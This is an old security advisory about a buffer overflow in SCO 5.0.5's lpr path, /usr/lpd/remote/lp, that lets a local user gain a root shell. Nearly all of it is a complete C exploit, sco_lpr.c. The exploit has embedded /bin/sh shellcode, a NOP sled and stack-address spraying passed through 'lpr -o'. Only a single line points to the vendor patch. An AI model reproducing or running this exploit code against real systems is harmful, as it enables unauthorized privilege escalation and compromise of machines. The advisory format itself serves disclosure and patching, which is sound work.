COMMAND

    lp

SYSTEMS AFFECTED

    SCO 5.0.5

PROBLEM

    Brock Tellier  found following.   There is  a hole  in SCO  5.0.5,
    probably    5.0.x,    /usr/bin/lpr.      Or    more    accurately,
    /usr/lpd/remote/lp, which lpr execs  and passes your command  line
    args on to.  This means that while /usr/bin/lpr is sgid lp,  we'll
    still get a rootshell because /usr/lpd/remote/lp is suid root/sgid
    daemon.   Brock  didn't  looked  into  the  remote  angle  of this
    exploit, though the pathname is hardly encouraging.

    /*
     * sco_lpr.c - overflows /usr/remote/lpd/lp and gives rootshell
     * Tested on SCO 5.0.5+Skunkware98
     *
     *  Compile gcc -o sco_lpr sco_lpr.c
     *   sco_lpr <offset> <bufsiz>
     *
     *   -Brock Tellier btellier@webley.com
     */


    #include <stdlib.h>
    #include <stdio.h>

    char scoshell[]= /* doble@iname.com */
    "\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
    "\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
    "\xff\xff/bin/sh\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";


    #define LEN 3000
    #define NOP 0x90

    unsigned long get_sp(void) {

    __asm__("movl %esp, %eax");

    }


    int main(int argc, char *argv[]) {

    long int offset=0;

    int i;
    int buflen = LEN;
    long int addr;
    char buf[LEN];

     if(argc > 3) {
      fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
     exit(0);
     }
     else if (argc == 2){
       offset=atoi(argv[1]);

     }
     else if (argc == 3) {
      buflen=atoi(argv[2]);

     }
     else {
       offset=1800;
       buflen=1500;

     }


    addr=get_sp();

    fprintf(stderr, "SCO 5.0.5 lpr exploit\n");
    fprintf(stderr, "Brock Tellier btellier@webley.com\n");
    fprintf(stderr, "Using addr: 0x%x\n", addr+offset);

    memset(buf,NOP,buflen);
    memcpy(buf+(buflen/2),scoshell,strlen(scoshell));
    for(i=((buflen/2) + strlen(scoshell))+1;i<buflen-4;i+=4)
     *(int *)&buf[i]=addr+offset;

    execl("/usr/bin/lpr", "lpr", "-o", buf,  NULL);

    exit(0);
    }

SOLUTION

    Download the sse037.tar.Z from SCO site.  That's the patch.